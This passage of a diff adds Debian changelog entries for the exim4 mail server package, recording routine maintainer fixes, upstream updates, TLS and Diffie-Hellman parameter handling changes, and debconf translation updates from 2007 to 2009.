+ + Pull 51_dkimrelatedcrash.diff fixing a segfault only applying to the
+ 4.7x series. http://bugs.exim.org/show_bug.cgi?id=912
+ * debhelper v7 mode.
+ + Use -XCHANGES to Keep dh_installchangelogs v7 from insisting to install
+ ./CHANGES as upstream changelog.
+ + Bump build-dependency.
+ + Use dh_prep instead of dh_clean -k.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 15 Nov 2009 13:10:32 +0100
+
+exim4 (4.70~rc4-1) experimental; urgency=low
+
+ * New upstream version.
+
+ -- Andreas Metzler <ametzler@debian.org> Wed, 11 Nov 2009 19:04:35 +0100
+
+exim4 (4.70~cvs+20091030-1) experimental; urgency=low
+
+ * New upstream snapshot.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 31 Oct 2009 10:08:55 +0100
+
+exim4 (4.70~cvs+20091026-1) experimental; urgency=low
+
+ * New snapshot.
+ + Fixes segfault in dovecot authenticator. Closes: #551106
+ + Improved documentation regarding certifacte verification on outgoing
+ SMTP connections. Closes: #544472
+ * Drop 40_boolean_redefine_protect.dpatch - included upstream.
+ * Drop unapplied superfluous patches from diff: 36_pcre 37_exiwhatpsmisc.
+
+ -- Andreas Metzler <ametzler@debian.org> Mon, 26 Oct 2009 16:09:32 +0100
+
+exim4 (4.70~cvs+20091017-1) experimental; urgency=low
+
+ * Fix syntax errors in README.Debian.xml. (Thank's, Daniel Leidert)
+ * New upstream cvs snapshot.
+ + Drop unnecessary patches: 36_pcre 37_exiwhatpsmisc.
+ + Close dovecot socket after wrong password was given. Closes: #515503
+ + Standalone DKIM support. Obsoletes and therefore
+ Closes: #486437,#459883
+ * Drop upstream URL from package descriptions. Closes: #471425
+ * [patches/00_unpack.dpatch] Drop workaround for tar 1.14, even oldstable
+ has 1.16. Closes: #486436.
+ * Do not set 'tls_try_verify_hosts = *' by default anymore. Some clients
+ (e.g Outlook) will terminate the SSL connection when the server presents
+ the long list of accepted TLS certificates after STARTTLS. If TLS
+ certificate validation of clients is needed you'll need to set
+ MAIN_TLS_TRY_VERIFY_HOSTS again and point MAIN_TLS_VERIFY_CERTIFICATES to
+ a file containing only the accepted certificates.
+ Closes: #515999, #316522, #482012
+ * Add debian/README.source. (Policy 3.8.3)
+ * Fix typo in update-exim4.conf.8.
+ Thanks to Calum Mackay. Closes: #543354
+ * Listen on IPv6 loopback interface by default. (Only applies to fresh
+ installations.) Closes: #544292
+ * upstream default configure file explicitly disables dkim in some
+ instances. Merge into Debian config and update debian/example.conf.md5.
+ Bump Conflicts of exim4-config package.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 17 Oct 2009 14:26:54 +0200
+
+exim4 (4.69-11) unstable; urgency=medium
+
+ * Build-Depend on lynx-cur|lynx instead of lynx. (lynx is just a dummy
+ package currently, and due its strict dependencies uninstallable until
+ the most recent version of lynx-cur has been built.)
+ * Work around sed's improved unicode support, not accepting latin1
+ characters as pattern delimiters in UTF-8 locales anymore. Closes: #527445
+ + [update-exim4.conf] Go for / as separator instead. - This might have
+ served a purpose in earlier releases with free-form replacements but is
+ just overcomplicated now.
+ + [update-exim4defaults]: The tricky bits for exim options are the
+ ones that take a filename as argument (e.g. -C and -oX) or -D for
+ overriding macros. Use LC_CTYPE=C.
+ + [exim4-config.config] The sed commands deals with (lists of) hostnames
+ and IP(v6) addresses and nets. Use LC_CTYPE=C.
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 10 May 2009 10:15:34 +0200
+
+exim4 (4.69-10) unstable; urgency=low
+
+ [ Andreas Metzler ]
+ * Use macro CONFDIR in lowuid_aliases router, too. Closes: #507124
+ * Disable shell filename expansion in update-exim4.conf using set -f.
+ Closes: #515668
+ * Stop using set -u in update-exim4.conf. With version 4.0 bash changed its
+ behavior to throw an error on expansion of $* or $@ with set -u if no
+ positional parameters were given. Working around this is obnoxious and
+ harms readability, imho doing away with set -u's benefits. Closes: #518752
+ * Allow setting outgoing smtp helo/ehlo by setting
+ REMOTE_SMTP_HELO_DATA macro directly. Previously this was just supposed
+ to be used as a helper macro for REMOTE_SMTP_HELO_FROM_DNS.
+ REMOTE_SMTP_HELO_FROM_DNS overrides a manual REMOTE_SMTP_HELO_DATA data
+ setting. Closes: #514113
+ * [README.Debian] Bring documentation for Diffie-Hellman parameters up to
+ current practice, mainly by deleting most of the outdated docs.
+ Closes: #508749
+ * [exim4 init-script]. Modify check for smtp inetd entry to use an anchored
+ pattern, matching "smtp" but not "smtp-foo". Closes: #516146
+ * exim4-daemon-light now Provides: default-mta. See #508644.
+ * Ship both transport-filter.pl and ratelimit.pl in
+ /usr/share/doc/exim4-base/examples. Closes: #518836
+ * [lintian] Add ${misc:Depends} to all Depends.
+ * [lintian] Add override for dbg-package-missing-depends exim4-dbg.
+ * Sync debian/control with override file by moving *-dbg to section debug.
+ * Fix grammar error in update-exim4.conf.8. (Thank's, Gerfried Fuchs)
+ Closes: #525248
+
+ [ Christian Perrier ]
+ * Debconf translations:
+ - Asturian. Closes: #511624
+ - Belarusian. Closes: #516049
+ - Kazakh added. Closes: #520996
+ - Slovak. Closes: #523447
+ - Bengali added.
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 02 May 2009 09:05:56 +0200
+
+exim4 (4.69-9) unstable; urgency=medium
+
+ * [update-exim4.conf]: Use POSIX character classes [:alnum:] or explicit
+ listing ("ABCDEF..") instead of a-z, since the latter does not work as
+ expected in some locales. Closes: #500691
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 30 Sep 2008 20:12:27 +0200
+
+exim4 (4.69-8) unstable; urgency=low
+
+ [ Andreas Metzler ]
+ * Quote last n lines (configurable by changing the value of
+ E4BCD_PANICLOG_LINES, defaults to 10) of paniclog in warning
+ email sent out on non-empty paniclog. Closes: #499492
+ * Fix evaluation logic of E4BCD_WATCH_PANICLOG for sending out warning
+ e-mails about non-empty paniclog in daily cron-job to match documentation:
+ + yes: Send daily warning e-mails, do not touch panniclog.
+ + once: Send out the mail and rotate paniclog afterwards.
+ + no: Do nothing. (Logfile is rotated when its size reaches 10 MB.)
+ (Previously the interpretations of "once" and yes were mixed up.)
+
+ [ Debconf translations ]
+ * Catalan. Closes: #499299
+
+ -- Andreas Metzler <ametzler@debian.org> Sun, 28 Sep 2008 12:01:39 +0200
+
+exim4 (4.69-7) unstable; urgency=low
+
+ [ Andreas Metzler ]
+ * Sync from ubuntu: Refer to spec.txt.gz instead of spec.txt in
+ README.Debian.xml.
+
+ [ Debconf translations ]
+ * Korean. Closes: #491518
+ * Lithuanian. Closes: #497402
+ * Greek. Closes: #498466
+ * Esperanto. Closes: #498796
+
+ -- Andreas Metzler <ametzler@debian.org> Tue, 16 Sep 2008 19:14:08 +0200
+
+exim4 (4.69-6) unstable; urgency=high
+
+ [ Debconf translations ]
+ * Malayalam. Closes: #479466
+ * Albanian. Closes: #480282
+ * Polish. Closes: #481638
+ * Vietnamese. Closes: #482641
+ * Turkish. Closes: #482714
+ * Brazilian Portuguese. Closes: #485384
+ * Finnish. Closes: #489171
+
+ [ Marc Haber ]
+ * Have timeout.pl print a meaningful error message if perl-modules
+ is not installed. Have exim4-base recommend perl-modules.
+ Thanks to Tom Schouten. Closes: #482319
+ * Create gnutls-params with mode 644 in the first place.
+ Thanks to Jean-Luc Coulon. Closes: #481765
+ * Replace ~/.rnd with $HOME/.rnd in exim_gencerts. Thanks to
+ Ross Boylan for noticing this.
+ * exim4-config.config: send hostname --fqdn stderr to /dev/null,
+ we handle errors properly. Thanks to Andrew Vaughan in #481597.
+
+ [ Andreas Metzler ]
+ * Fix typos/other errors in README.Debian.xml. Improve formatting.
+ (Thank's Georg Neis and Paul Menzel) Closes: #486105, #486106, #486116
+ * Revert fancy quoting in initscript. Closes: #486667,#482752
+ (fixes rc-bugs).
+ * [debian/control README.Debian.xml] Spelling fix ("metapackage" instead of
+ "meta-package"). Thank's lintian
+
+ -- Andreas Metzler <ametzler@debian.org> Sat, 19 Jul 2008 19:56:36 +0200
+
+exim4 (4.69-5) unstable; urgency=low
+
+ * remove chmod/chown code from exim4_refresh_gnutls-params completely
+ * do not remove gnutls-params in exim4-base.postinst
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 28 Apr 2008 21:46:18 +0200
+
+exim4 (4.69-4) unstable; urgency=low
+
+ * update-exim4.conf: Fix impossible code path in guessed_name check. Ouch.
+ Thanks to Anand Kumria. Closes: #478066
+ * Regenerating the 2048 bits DH parameters takes too long for slow
+ systems, disable (both in the monthly cron job and postinst) and
+ document that paranoid people will want to regenerate them manually.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 27 Apr 2008 10:06:39 +0200
+
+exim4 (4.69-3) unstable; urgency=low
+
+ * The "please do not file duplicate bugs" release
+
+ [ Marc Haber ]
+ * Work around lsb-base regression (#477055, "wontfix") by changing
+ the way we quote exim's arguments in the init script, hoping that
+ this does not sacrifice robustness.
+ Closes: #477194, #477236, #477239, #477258, #477562, #476987
+ * README.Debian.xml: Fix router/transport pair typo.
+ Thanks to Georg Neis. Closes: #463573
+ * Have exim4-base Suggest swaks
+ * Relax exim4-dbg dependency on eximon4 to a recommends (see #463929).
+ * 30_exim4-config_check_rcp: Remove mention of /usr/share/doc/exim4-
+ config/default_acl in favor of exim4-config_files(5).
+ Thanks to Jon Dowland. Closes: #464539
+ * Move paniclog log rotation to /etc/logrotate.d/exim4-paniclog to
+ allow people to manually rotate the paniclog only by calling
+ logrotate -f /etc/logrotate.d/exim4-paniclog. Thanks to Josip Rodin
+ (#396003) for this nice idea. Implement E4BCD_WATCH_PANICLOG=once
+ as suggested by Vasilis Vasaitis.
+ * activate dlfunc. Closes: #471314
+ * set LC_ALL=C in debian/rules. Thanks to Michael Meskes. Closes: #471486
+ * Document that Incredimail's TLS "implementation" breaks on a
+ certificate request. Thanks to Andrew McGlashan. Closes: #459323
+ * Fix parenthesis mismatch in README.Debian
+ * exim4_refresh_gnutls-params: Call openssh dhparam with
+ HOME=$EXIM4_SPOOLDIR so that openssl's .rnd file is placed there.
+ * update-exim4.conf: print a warning if dc_minimaldns and hostname
+ --fqdn does not print a fully qualified name. Thanks to Lothar
+ Ketterer. Closes: #476249
+ * DH parameters handling: Closes: #475194
+ * add dpatch to have exim use 2048 bit DH parameters
+ * ship static gnutls-params file with the package.
+ * Override resulting lintian warning.
+ * generate new gnutls-params only monthly and in postinst on configure.
+ * exim4_refresh_gnutls-params:
+ * generate 2048 bit DH parameters
+ * dh-params file can be world readable
+ * Filter out noise from mainlog before handing it off to eximstats
+ in daily cron job. Thanks to Justin Pryzby. Closes: #476541
+ * Move docs from Apps/Net to Network/Communication
+ * linda R.I.P.
+
+ [ Robert Millan ]
+ * Process acl_local_deny_exceptions ACL before rejecting a message in SPF
+ check. Thanks to Miklos Szeredi. Closes: #451633
+
+ [ Andreas Metzler ]
+ * Fix typos in exinext's man page (/s/eximnext/exinext/). (Thanks,
+ Filipus Klutiero) Closes: #471113
+ * exiwhat: Check at runtime whether killall is available. Fall back to a
+ combination of 'ps ax' and regular kill otherwise.
+ Closes: #476455
+ * Fix wrong logic in testing for existence of lsb-base functions in init
+ script. (Thanks, Tim Cross) Closes: #477578
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 26 Apr 2008 00:00:30 +0200
+
+exim4 (4.69-2) unstable; urgency=low
+
+ [ Marc Haber ]
+ * update-exim4.conf: fix bashism echo -n in preprocess_macro.
+ Thanks to Michal Politowski. Closes: #462173
+
+ [ Christian Perrier ]
+ * Debconf translations updates:
+ - German. Thanks to Eric Schanze. Closes: #462673
+
+ [Andreas Metzler]
+ * Add missing .P to exim_db.8 to fix indenting. (Thanks, David L. Anselmi)
+ Closes: #462712
+ * Add (disabled) patch to save random seed to a file
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Wed, 30 Jan 2008 09:26:56 +0100
+
+exim4 (4.69-1) unstable; urgency=low
+
+ [ Marc Haber ]
+ * New upstream version.
+ - improve --help handling. Closes: 438435
+ * Debconf translations updates:
+ - Dutch. Thanks to Bart Cornelis. Closes: #448924
+ - Norwegian Bokmål. Thanks to Hans Fredrik Nordhaug. Closes: #452383
+ - Slovak. Thanks to Peter Mann. Closes: #460502
+ - Catalan: fix some semicolon issues and most obvious fuzzy strings.
+ Thanks to Jordà Polo. Closes: #447765.
+ * Add support for smtp_accept_max_nonmail_hosts to ease external
+ relay testing.
+ * Make Change to init script dependencies as suggested by Petter
+ Reinholdtsen. Closes: #460229
+ * debian/control:
+ * Add Homepage field to Source Package stanza.
+ * Standards-Version: 3.7.3 (no changes necessary)
+ * lintian/overrides:
+ - Override all description-contains-homepage messages,
+ we're going to keep this field around until post-lenny.
+ - Override exim4-daemon-heavy: package-contains-empty-directory
+ usr/lib/exim4/local_scan/, the directory should be there to show
+ people where to put local extensions (and I am not sure how exim
+ behaves if that directory is not there).
+ * linda/overrides:
+ - Override menu section Applications, which is a false alert.
+ - Override complaint about newer standards version.
+ - This override does not work due to #386647
+ * exim4-base.NEWS: fix Debian's typo
+ * exim4-base.dirs: remove usr/bin, we do not ship any files there.
+ * Generate exim macros from every definition found in ue4cc that
+ starts with a capital letter (sans CFILEMODE) to cater for an
+ obviously very common user error. This feature is going to stay
+ undocumented.
+
+ [ Christian Perrier ]
+ * Debconf translations updates:
+ - Dzongkha. Thanks to Tenzin Dendup. Closes: #455871
+ - Slovak. Thanks to Peter Mann. Closes: #460502
+
+ [ Andreas Metzler ]
+ * Fix typo in acl/20_exim4-config_local_deny_exceptions. (Thanks, Roderick
+ Schertler) Closes: #456343
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 22 Jan 2008 09:19:14 +0100
+
+exim4 (4.68-2) unstable; urgency=low
+
+ [ Marc Haber ]
+ * Fix changelog: lowuid router does not close #420217. Closes: #440217
+
+ [ Andreas Metzler ]
+ * Mention /etc/exim4/exim4.conf in FILES section of update-exim4.conf.8.
+ * Fix syntax error in real-local router. Closes: #446346
+ * Configuring exim as configtype="internet host" asks a different set of
+ questions than e.g. satellite. However some of the settings controlled by
+ these hidden questions still have effects on exim's behavior. Change
+ exim4-config to ask these hidden questions if they have been set to a
+ non-default value. (Either manually, or by switching configtype after
+ setting the values.) Closes: #443210
+ These questions have been added conditionally:
+ - internet site with smarthost:
+ + dc_relay_domains
+ - satellite
+ + dc_relay_domains
+ + dc_localdelivery
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 01 Nov 2007 19:17:36 +0100
+
+exim4 (4.68-1) unstable; urgency=low
+
+ * new upstream version. Closes: #444195
+ * Documents tls_verify_hosts during TLS sessions. Closes: #422419
+ * new example.conf md5 sum
+ * Move lowuid router to a later place, handle real- only for
+ locally generated messages. Thanks to Andreas Metzler and others
+ on pkg-exim4-devel. Closes: #440217
+ * /etc/init.d/exim4:
+ * Use start_daemon and killproc from lsb-base
+ as a new plunge at #396944
+ * Do not clean the environment as severly as before (functions
+ need to survive).
+ * README.Debian:
+ * Document that using client certificates needs extra
+ configuration. Thanks to John Goerzen. Closes: #440663
+ * conf.d/main/03_exim4-config_tlsoptions: Make it clear that this
+ file only concerns exim as an SMTP server.
+ * exim4-config.preinst: Add EX4DEBUG facility, add rm_conffile
+ function
+ * Rename acl_whitelist_local_deny to acl_local_deny_exceptions
+ as suggested by Ross Boylan. Closes: #387078.
+ * Switch Build-Depends to db4.6. Closes: #442645
+ * Debconf translations updates:
+ - Portuguese. Thanks to Miguel Figueiredo. Closes: #441895, #445494
+ - Norwegian Nynorsk. Thanks to HÃ¥vard Korsvoll.
+ * exim4-config.NEWS: Explicitly mention that .dpkg-old and
+ .dpkg-dist files are included in the DEBCONFsomethingDEBCONF check to
+ allow lazy people to only grep the docs instead of actually reading
+ them. This was requested by Hamish Moffatt in #445327.
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 07 Oct 2007 21:38:22 +0200
+
+exim4 (4.67-8) unstable; urgency=low
+
+ [ Marc Haber ]
+ * Define REMOTE_SMTP_HELO_DATA and REMOTE_SMTP_HELO_FROM_DNS macros
+ to have exim pull its HELO name from DNS automatically.
+ Thanks to Jari Aalto and Magnus Holmgren. Closes: #275975
+ * Enable DNSDB in exim4-daemon-light (needed by the HELO magic)
+ * update-exim4.conf: Allow [] in ascii strings (needed for @[])
+ * Improve domain literal docs
+ * Remove debconf template noalias_regenerate
+ * Fix PRIMARY_HOSTNAME typo in main/02_exim4-config_options.
+ Thanks to Tim Krah. Closes: #434337
+ * fix alphabet salad in README.Debian. Closes: #434640
+ * Add E4BCD_DAILY_REPORT_TO to daily cron job.
+ Thanks to Florian Schlichting. Closes: #426840
+ * Fix /etc/exim paths in exim4-config_files(5).
+ Thanks to Marques Johansson.
+ * Debconf translations updates:
+ - Japanese. Closes: #433070
+ - Spanish. Thanks to Javier Fernández-Sanguino Peña. Closes: #433084
+ - Thai. Thanks to Theppitak Karoonboonyanan. Closes: #433177
+ - Arabic. Thanks to Ossama Khayat. Closes: #433222
+ - Hebrew. Thanks to Baruch Even. Closes: #433291
+ - Italian. Closes: #433200
+ - Galician. Closes: #433218
+ - Portuguese. Thanks to Miguel Figueiredo. Closes: #433293
+ - Hungarian. Thanks to Josip Rodin. Closes: #433336
+ - Punjabi. Thanks to Amanpreet Singh Alam. Closes: #433578
+ - Marathi. Thanks to Priti Patil.
+ - Wolof. Thanks to M Mamoune Mbacke. Closes: #433701
+ - Indonesian. Thanks to Arief S Fitrianto. Closes: #433758
+ - Romanian. Thanks to Eddy Petrisor. Closes: #433854
+ - Nepali. Thanks to shyam krishna bal. Closes: #435345
+ - Swedish. Thanks to Daniel Nylander. Closes: #435705
+
+ [ Andreas Metzler ]
+ * Update eximon menu file for menu 2.1.35 hierarchy.
+
+ [ Christian Perrier ]
+ * Fix typo in README.Debian.xml. Thanks to <shaulka@012.net.il>
+ Closes: #434961
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sun, 19 Aug 2007 09:25:10 +0200
+
+exim4 (4.67-7) unstable; urgency=low
+
+ * only generate HIDE_MAILNAME macro if its value is really non-empty
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 14 Jul 2007 08:47:40 +0200
+
+exim4 (4.67-6) unstable; urgency=low
+
+ * Add some more debugging output to maintainer scipts, hopefully
+ nailing #396944 which has surfaced again.
+ * Improve wording in NEWS.Debian for exim4-config.
+ Closes: #431019, #431130
+ * Issue DEBCONFfooDEBCONF warning as well for
+ DEBCONFheaders_rewriteDEBCONF.
+ Thanks to John Goerzen. Closes: #431088
+ * fix localhost inserted twice into local_domains. Closes: #432394
+ * fix MAIN_RELAY_TO_DOMAINS in update-exim4.conf.
+ Thanks to Ben Wheeler. Closes: #432521
+ * Document that special handling is needed for host lists that only
+ consist of a single IPv6 address. Thanks to Frederic Daniel Luc
+ Lehobey. Closes: #432229
+ * Add forgotten (conditional) definition of REMOTE_SMTP_HEADERS_REWRITE
+ and REMOTE_SMTP_RETURN_PATH for remote_smtp transports.
+ Thanks to Miguel Martins Feitosa Filho. Closes: #432716
+ * Debconf translations
+ * Bulgarian completed. Closes: #431957, #430521
+ * Update Tamil. Thanks to Tirumurti Vasudevan. Closes: #432181
+ * Update Spanish.
+ Thanks to Javier Fernández-Sanguino Peña. Closes: #429940
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 13 Jul 2007 22:22:09 +0200
+
+exim4 (4.67-5) unstable; urgency=low
+
+ * the "verderben viele Koeche den Brei?" release
+
+ [ Andreas Metzler ]
+ * Point to exim4_passwd(5) instead of non-existing exim_passwd(5) in AUTH
+ section of configuration. (Thanks Arkadiusz Dykiel, #430149)
+ * update-exim4.conf check_ascii_pipe(): Accept < since we use it for list
+ construction. Closes: #430391
+ * Anchor UPEX4CmacrosUPEX4C in update-exim4.conf
+
+ [ Robert Millan ]
+ * Update informational message in SPF ACL to use the latest
+ http://www.openspf.org/Why API.
+
+ [ Debconf translations ]
+ * French completed and converted to UTF-8
+ * All remaining non UTF-8 translation switched to UTF-8
+
+ [ Marc Haber ]
+ * do not quote error message in lowuid router
+ * replace commented UPEX4CmacrosUPEX4C with UPEX4CmacrosUPEX4C exim
+ configuration macro definition as placeholder for ue4c-generated macros.
+
+ [ Christian Perrier ]
+ * Correct the invalid ${fqdn} variable in exim4-config.templates
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 28 Jun 2007 09:22:04 +0200
+
+exim4 (4.67-4) unstable; urgency=low
+
+ * update-exim4.conf:
+ * fix embarrassing typo in update-exim4.conf that broke macro
+ expansion for two values.
+ Thanks to Andrew Chittenden. Closes: #429828
+ * Allow ! and * in ue4cc.
+ Thanks to Dieter Hametner and Raf D'Halleweyn. Closes: #429986
+ * have @ and localhost added to local_domains list.
+ Thanks to a big number of people. Closes: #429939
+ * eliminate -e && chmod construct as a possible cause of #429617.
+ Thanks to Martin Ketzer and Silvestre Zabala
+ * Now barfs if DEBCONFsomethingDEBCONF is still found in the
+ configuration file. Thanks to a truckload of users who were too lazy
+ to read the docs, did not accept the suggested configuration file
+ changes and then complained about a non-working exim ("malformed macro
+ definition")
+ * README.Debian: Document the new low-UID handling mechanism.
+ Thanks to Johannes Rohr. Closes: #429878
+ * debian/rules: do not ignore make clean errors
+ * Debconf translation updates:
+ - Basque. Closes: #429626
+ - Czech.
+ - Brazilian Portuguese. Closes: #429867
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 22 Jun 2007 13:55:15 +0200
+
+exim4 (4.67-3) unstable; urgency=low
+
+ [ Andreas Metzler ]
+ * Initialize permissions of bug-script and exim-adduser as 755, since diff
+ does not preserve permissions. Both were shipped as 644 in binary packages
+ not built with svn-buildpackage. Closes: #420446
+
+ [ Marc Haber ]
+ * Merge experimental changes from revision 2018:2073
+ * Fix "Zahlendreher" in closure of #427690. Closes: #427690
+ * update-exim4.conf:
+ * finally get rid of the DEBCONFfooDEBCONF stuff. That information
+ is now passed to the configuration by ue4c by directly setting exim
+ macros in the configuration. This has caused both the configuration
+ and ue4c to be much shorter.
+ * run with -e, -C and -u.
+ * convert input read from update-exim4.conf.conf to lower case
+ * barf if strange characters are found in ue4cc. Closes: #400294
+ * Remove superfluous "x$foo" = "xbar" constructs from scripts
+ * Add routers to reject mail to accounts with low UID.
+ Closes: #400790.
+ * Make daily cron job barf if /usr/bin/mail is not found. Have
+ exim4-base recommend mailx. Closes: #427690
+ * Have all -daemon packages provide exim4-localscanapi-1.0 and
+ exim4-localscanapi-1.1 as requested by Magnus Holmgren while fixing
+ #426425. Also include exim4-localscan-plugin-config script with
+ exim4-dev. Thanks to Magnus for helping with this. Closes: #428274
+ * remove /etc/exim4/email-addresses symlink and document this.
+ Thanks to Josip Rodin. Closes: #420578
+ * introduce conf.d/250_exim4-config_lowuid which optionally allows
+ to reject (or alias away) mail to low-uid accounts that are not
+ listed in an exception list. Thanks to Dominic Hargreaves,
+ Marc Sherman and Ross Boylan. Closes: #400790, #307768, #331716
+ * remove versioned depends on cron, since the version we need is
+ well before sarge.
+ * Add cron | fcron dependency. Fcron is going to be removed again
+ at the first sign of trouble. Closes: #381806
+ * remove move_exim3_spool debconf template. Closes: #391762
+ * replace openssl gendh with openssl dhparam. Closes: #413235
+ * adapt docs, README and manpages
+ * have Hilko fix the lynx-dump postprocessing to repair generating
+ README.Debian text version. Thanks!
+ * increase README.Debian generation robustness. Thanks to Hilko.
+ * debconf:
+ * Partly apply Christian Perrier's patch for reviewed
+ templates and control file. Closes: #426980
+ * Other minor template changes.
+ * get rid of "mails" in debconf templates, use "messages" instead.
+ Re-word local_interface debconf template. Other minor changes.
+ Thanks to Jens Seidel and Christian Perrrier. Closes: #394976
+ * re-work exim4-config.config logic to have split/non-split config
+ asked last instead of first. This partly addresses #410756.
+ * Add exim4-daemon-heavy.templates, exim4-daemon-light.templates
+ and exim4.templates to POTFILES.in
+ * Re-Word dc_other_hostnames debconf template.
+ Thanks to Hans G. Ehrbar. Closes: #421860
+
+ [ Christian Perrier ]
+
+ * Debconf translation updates:
+ - French
+ - Ukrainian. Closes: #427793
+ - Bulgarian.
+ - Thai.
+ - Galician.
+ - Swedish.
+ - Punjabi.
+ - Indonesian.
+ - Italian.
+ - Khmer.
+ - Traditional Chinese. Closes: #428072, #428069.
+ - Portuguese.
+ - Simplified Chinese.
+ - Marathi
+ - Romanian. Closes: #429242
+ - Russian. Closes: #429352
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Mon, 18 Jun 2007 10:26:20 +0200
+
+exim4 (4.67-1) unstable; urgency=low
+
+ [ Marc Haber ]
+ * new upstream version
+ * remove 37_upstream-patch-384015-add_headers
+ * remove 80_disable_rsa_export
+ * remove 80_upstream_408174_4-64-PH18
+ * EDITME patch changes to allow for 4.67
+ * enable dovecot authentication
+ * Upstream patch from Magnus Holmgren included upstream.
+ Thanks to Simon Walter. Closes: #407957
+ * Upstream patch PH/18 included upstream.
+ Thanks to Marc Schiffbauer. Closes: #408174
+ * merge experimental changes
+ * exim man page patch changes for 4.67
+ * robustness patches for
+ * create-custom-package
+ * exim-gencert
+ * exim4-base.config
+ * exim4-base.postinst
+ * exim4-config.config
+ * exim4-config.postinst
+ * exim4-daemon-light.postinst
+ * update-exim4defaults
+ * replace backticks with $() notation
+ * Add patch to 50_localscan_dlopen to reduce dynamic symbol table.
+ Thanks to Magnus Holmgren. Closes: #413602
+ * remove woody compatibility hacks from
+ * exim4-daemon-light.postinst
+ * exim4-config.postinst
+ * Fix eximnext => exinext in man page.
+ * README.Debian:
+ * add warning to "IP addresses for incoming connections" section.
+ * add new chapter about how to influence exim's behavior.
+ * add missing closing bracket. Thanks to Martin Schwarz. Closes: #419700
+ * update-exim4.conf(8):
+ * clarify update-exim4.conf about how ue4cc and exim configuration
+ interface
+ * remote_smtp_smarthost transport: make hosts_try_auth host list
+ semicolon-separated to correctly handle IPv6
+ * multiple minor changes to lintian overrides
+ * debian/control: have exim4 depend on debconf (>= 1.4.69) | cdebconf
+ (>= 0.39) explicitly to allow usage of debconf error template type.
+
+ [ Christian Perrier ]
+ * Esperanto debconf translation update (Serge Leblanc). Closes: #415590
+ * Marathi debconf translation added (Priti Pathil). Closes: #416801
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 21 Apr 2007 11:48:48 +0200
+
+exim4 (4.63-17) unstable; urgency=low
+
+ * 30_exim4-config_examples: add missing backslash in non-TLS client
+ login authenticator. Thanks to Kai Weber. Closes: #407567
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 20 Jan 2007 10:38:16 +0100
+
+exim4 (4.63-16) unstable; urgency=low
+
+ * Add ta (Tamil) translation of Tirumurti Vasudevan
+ Closes: #406974
+ * exim4_refresh_gnutls-params: allow EXIM4_SPOOLDIR to be overridden from
+ the environment. Closes: #406989
+ * Re-work client authenticators to handle passwords containing
+ colons and circumflexes. Thanks to Steaphan Greene. Closes: #406686
+ * transport/30_exim4-config_remote_smtp_smarthost: feed
+ hosts_try_auth from $host and $host_address, avoiding issues with
+ round-robin DNS setup.
+ Thanks to Celejar and Heiko Schlittermann. Closes: #403583
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Thu, 18 Jan 2007 21:10:34 +0100
+
+exim4 (4.63-15) unstable; urgency=low
+
+ * keep config.h from being installed in exim4-base.
+ Thanks to Aaron M. Ucko. Closes: #405824
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Sat, 6 Jan 2007 22:12:05 +0100
+
+exim4 (4.63-14) unstable; urgency=low
+
+ * patch LOCAL_SCAN_ABI_VERSION to 1.1 in 50_localscan_dlopen after
+ consulting with Magnus Holmgren.
+ * Fix update-exim4.conf.8 manpage
+ * FILES section is no longer doubled
+ * NAME is no longer multi-line
+ * proper reference to ue4cc in FILES section
+ * Thanks to Angus Mackenzie
+ * debian/rules
+ * allow buildbasepackages and extradaemonpackages to be set from
+ the environment
+ * fix buildbasepackages=no and extradaemonpackages which were
+ broken due to the new -dev binary package
+ * remove "" in various places, this is Make not shell
+ * add optional debugging output for variables that are meant to be set
+ externally
+ * clean now unpatches first, otherwise clean fails because files
+ are first deleted and then non-existing files are unpatched
+ * take config.h from first non-light daemon package built instead
+ of -heavy (we might not be building -heavy but still need -dev)
+ * Thanks to Gerfried Fuchs for actually using these features and
+ finding this bug group.
+ * exim4.init: Now returns 0 when starting and daemon already
+ running, and when stopping and daemon already stopped. This fixes LSB
+ compliance. Thanks to Heiko Schlittermann. Closes: #404182
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Fri, 5 Jan 2007 16:34:58 +0100
+
+exim4 (4.63-13) unstable; urgency=low
+
+ * Fix mangled sense in /etc/aliases exim4-config_files(5) man page.
+ Thanks to Angus Mackenzie.
+ * [update-exim4.conf.8] exim4-config_files manpage is in section 5 instead
+ of 8. Thanks to Angus Mackenzie. Closes: #404494 (am)
+ * Clarify /etc/exim4/passwd.client host name lookup to go after the
+ reverse DNS entry in exim4-config_files(5) man page.
+ * Update uk (Ukrainian) translation of debconf templates.
+ Thanks to Eugeniy Meshcheryakov and Yanovych Borys. Closes: #404481
+ * Update sl (Slovenian) translation of debconf templates.
+ Thanks to Matej Kovacic. Closes: #404481
+ * merge in experimental changes:
+ * create exim4-dev package for sa-exim and other packages. Closes: #401462
+ * fix broken usage of DPATCH_WORKDIR (dpatch-edit-patch didn't
+ work with tarballed upstream)
+ * don't use DPATCH_WORKDIR any more
+ * modify patches to apply to build-tree
+ * remove leftover debugging output from debian/patches/00_unpack.dpatch
+
+ -- Marc Haber <mh+debian-packages@zugschlus.de> Tue, 2 Jan 2007 14:43:59 +0100
+
+exim4 (4.63-12) unstable; urgency=low
+
